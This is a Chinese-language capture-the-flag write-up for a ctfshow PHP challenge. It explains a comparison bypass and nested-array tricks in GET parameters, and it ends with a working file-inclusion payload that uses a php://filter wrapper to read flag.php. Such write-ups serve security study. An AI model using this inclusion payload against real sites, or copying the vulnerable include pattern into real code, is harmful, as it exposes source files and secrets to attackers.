CTFSHOW-2026[Happy2026]
<?php
error_reporting(0);
highlight_file(__FILE__);
$happy = $_GET['happy'];
$new = $_GET['new'];
$year = $_GET['year'];
if($year==2026 && $year!==2026 && is_numeric($year)){
include $happy[$new[$year]];
}
考察php特性。
if条件很好过,传入?year=2026即可:
GET传参会以字符串形式传入,(String)2026==(int)2026成立,不比较类型(String)2026!==(int)2026,这里是强比较,要比较变量类型- 2026是数字字符串
通过if判断后我们要想怎么利用include
这里是一个嵌套数组,而不是二维数组
这里要知道,php中的数组和其他语言中有些区别,他有点像字典,是映射关系,下面是官方文档:
因为使用的是key对应的value,所以我们这里可以这样构造:
$new = ["2026" => "1"];
$happy = ["1" => "1.txt"];
$a = $happy[$new[$year]];
var_dump($a);
include $a;
//string(5) "1.txt"
//nihao #这是我自己的1.txt文件内容最后就映射到了1.txt上,进行包含利用。
但是我们直接传入数组是不行的,要注意http中怎么传递数组的:
?a[key1]=value1 & b[key2]=value2最后要php伪协议读取flag.php
payload:
?year=2026&happy[1]=php://filter/read=convert.base64-encode/resource=flag.php&new[2026]=1